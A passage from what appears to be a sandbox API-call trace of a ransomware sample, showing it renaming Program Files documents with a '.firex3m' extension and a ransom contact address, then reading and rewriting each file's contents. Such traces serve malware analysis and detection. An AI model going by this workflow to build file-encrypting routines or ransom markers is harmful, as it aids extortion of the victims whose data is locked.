cAlternateFileName="SYBASE~1.FIR")) returned 0x6d5280 [0207.056] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0207.056] Sleep (dwMilliseconds=0x1) [0209.150] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG") returned 1 [0209.150] GetProcessHeap () returned 0x630000 [0209.150] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e44) returned 0x6fe4288 [0209.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0209.151] CloseHandle (hObject=0x6d0) returned 1 [0209.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5480 [0209.152] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0209.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0209.153] GetProcessHeap () returned 0x630000 [0209.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xad21) returned 0x72e9278 [0209.153] GetProcessHeap () returned 0x630000 [0209.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xad21) returned 0x72f3fa8 [0209.153] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.153] ReadFile (in: hFile=0x6d0, lpBuffer=0x72e9278, nNumberOfBytesToRead=0xad00, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9278*, lpNumberOfBytesRead=0x41fff0c*=0xad00, lpOverlapped=0x0) returned 1 [0214.786] GetProcessHeap () returned 0x630000 [0214.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0214.786] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.786] WriteFile (in: hFile=0x6d0, lpBuffer=0x72f3fa8*, nNumberOfBytesToWrite=0xad00, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f3fa8*, lpNumberOfBytesWritten=0x41fff0c*=0xad00, lpOverlapped=0x0) returned 1 [0214.787] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.787] WriteFile (in: hFile=0x6d0, lpBuffer=0x72feca7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72feca7*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.787] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.787] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.787] CloseHandle (hObject=0x6d0) returned 1 [0214.787] GetProcessHeap () returned 0x630000 [0214.787] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f3fa8 | out: hHeap=0x630000) returned 1 [0214.787] GetProcessHeap () returned 0x630000 [0214.787] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9278 | out: hHeap=0x630000) returned 1 [0214.788] GetProcessHeap () returned 0x630000 [0214.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0214.788] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x45f7e5ea, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xad32, dwReserved0=0xb307496, dwReserved1=0x72e9270, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5540 [0214.788] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0214.788] Sleep (dwMilliseconds=0x1) [0216.419] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x41fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml") returned 1 [0216.419] GetProcessHeap () returned 0x630000 [0216.419] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fb8) returned 0x74d7f88 [0216.419] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0216.419] CloseHandle (hObject=0x678) returned 1 [0216.419] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.419] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.420] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0216.420] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0216.420] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0216.420] GetProcessHeap () returned 0x630000 [0216.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3960 [0216.420] GetProcessHeap () returned 0x630000 [0216.421] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3d10 [0216.421] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.421] ReadFile (in: hFile=0x678, lpBuffer=0x70f3960, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3960*, lpNumberOfBytesRead=0x41fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.007] GetProcessHeap () returned 0x630000 [0218.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0218.007] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.007] WriteFile (in: hFile=0x678, lpBuffer=0x70f3d10*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3d10*, lpNumberOfBytesWritten=0x41fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.007] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.007] WriteFile (in: hFile=0x678, lpBuffer=0x70f3eaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3eaf*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.008] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.008] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.008] CloseHandle (hObject=0x678) returned 1 [0218.008] GetProcessHeap () returned 0x630000 [0218.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3d10 | out: hHeap=0x630000) returned 1 [0218.008] GetProcessHeap () returned 0x630000 [0218.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3960 | out: hHeap=0x630000) returned 1 [0218.008] GetProcessHeap () returned 0x630000 [0218.008] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0218.008] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47e32b93, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x41ffd20, dwReserved1=0x70f3960, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5280 [0218.008] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0218.008] Sleep (dwMilliseconds=0x1) [0219.548] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x41fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml") returned 1 [0219.548] GetProcessHeap () returned 0x630000 [0219.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c4) returned 0x6fe3bb0 [0219.548] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.549] CloseHandle (hObject=0x69c) returned 1 [0219.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.549] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 [0219.550] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0219.550] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.550] GetProcessHeap () returned 0x630000 [0219.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0219.550] GetProcessHeap () returned 0x630000 [0219.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8708 [0219.550] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.550] ReadFile (in: hFile=0x69c, lpBuffer=0x6d7550, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesRead=0x41fff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.554] GetProcessHeap () returned 0x630000 [0219.554] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0219.554] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.554] WriteFile (in: hFile=0x69c, lpBuffer=0x6d8708*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8708*, lpNumberOfBytesWritten=0x41fff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.554] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.554] WriteFile (in: hFile=0x69c, lpBuffer=0x6d8947*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8947*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.554] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.554] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.554] CloseHandle (hObject=0x69c) returned 1 [0219.554] GetProcessHeap () returned 0x630000 [0219.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8708 | out: hHeap=0x630000) returned 1 [0219.554] GetProcessHeap () returned 0x630000 [0219.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0219.554] GetProcessHeap () returned 0x630000 [0219.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0219.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48cf3506, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x41ffd20, dwReserved1=0x6d7550, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0219.555] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.555] Sleep (dwMilliseconds=0x1) [0219.558] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html", len=0x6f | out: pbstr=0x41fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html") returned 1 [0219.558] GetProcessHeap () returned 0x630000 [0219.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c0) returned 0x6fe3bb0 [0219.558] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.559] CloseHandle (hObject=0x69c) returned 1 [0219.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.559] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5280 [0219.560] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0219.560] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0219.560] GetProcessHeap () returned 0x630000 [0219.560] 